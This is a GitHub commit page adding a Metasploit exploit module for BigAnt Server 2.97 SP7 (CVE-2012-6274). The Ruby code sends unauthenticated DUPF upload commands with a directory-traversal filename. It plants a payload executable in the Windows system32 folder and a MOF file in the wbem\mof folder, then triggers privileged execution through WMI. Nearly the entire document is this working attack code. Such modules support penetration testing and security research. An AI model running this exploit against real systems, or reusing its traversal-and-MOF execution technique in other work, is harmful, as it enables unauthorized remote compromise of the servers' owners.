Skip to content

Commit b2664e0

Browse files
committed
Merge branch 'bigant_server_dupf_upload' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-bigant_server_dupf_upload
2 parents 9813c81 + 322fa53 commit b2664e0

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::WbemExec
16+
include Msf::Exploit::FileDropper
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',
21+
'Description' => %q{
22+
This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
23+
A lack of authentication allows to make unauthenticated file uploads through a DUPF
24+
command. Additionally the filename option in the same command can be used to launch
25+
a directory traversal attack and achieve arbitrary file upload.
26+
27+
The module uses uses the Windows Management Instrumentation service to execute an
28+
arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
29+
has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
30+
SP2.
31+
},
32+
'Author' =>
33+
[
34+
'Hamburgers Maccoy', # Vulnerability discovery
35+
'juan vazquez' # Metasploit module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ 'CVE', '2012-6274' ],
41+
[ 'US-CERT-VU', '990652' ],
42+
[ 'BID', '57214' ],
43+
[ 'OSVDB', '89342' ]
44+
],
45+
'Privileged' => true,
46+
'Platform' => 'win',
47+
'Targets' =>
48+
[
49+
[ 'BigAnt Server 2.97 SP7', { } ]
50+
],
51+
'DefaultTarget' => 0,
52+
'DefaultOptions' =>
53+
{
54+
'WfsDelay' => 10
55+
},
56+
'DisclosureDate' => 'Jan 09 2013'))
57+
58+
register_options(
59+
[
60+
Opt::RPORT(6661),
61+
OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
62+
], self.class)
63+
64+
end
65+
66+
def upload_file(filename, content)
67+
68+
random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
69+
70+
dupf = "DUPF 16\n"
71+
dupf << "cmdid: 1\n"
72+
dupf << "content-length: #{content.length}\n"
73+
dupf << "content-type: Appliction/Download\n"
74+
dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
75+
dupf << "modified: #{random_date}\n"
76+
dupf << "pclassid: 102\n"
77+
dupf << "pobjid: 1\n"
78+
dupf << "rootid: 1\n"
79+
dupf << "sendcheck: 1\n\n"
80+
dupf << content
81+
82+
print_status("sending DUPF")
83+
connect
84+
sock.put(dupf)
85+
res = sock.get_once
86+
disconnect
87+
return res
88+
89+
end
90+
91+
def exploit
92+
93+
peer = "#{rhost}:#{rport}"
94+
95+
# Setup the necessary files to do the wbemexec trick
96+
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
97+
exe = generate_payload_exe
98+
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
99+
mof = generate_mof(mof_name, exe_name)
100+
101+
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
102+
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
103+
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
104+
print_good("#{peer} - #{exe_name} uploaded successfully")
105+
else
106+
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
107+
print_error("#{peer} - Upload failed, check the DEPTH option")
108+
end
109+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
110+
end
111+
112+
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
113+
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
114+
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
115+
print_good("#{peer} - #{mof_name} uploaded successfully")
116+
register_file_for_cleanup(exe_name)
117+
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
118+
else
119+
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
120+
print_error("#{peer} - Upload failed, check the DEPTH option")
121+
end
122+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
123+
end
124+
125+
end
126+
127+
end

0 commit comments

Comments
 (0)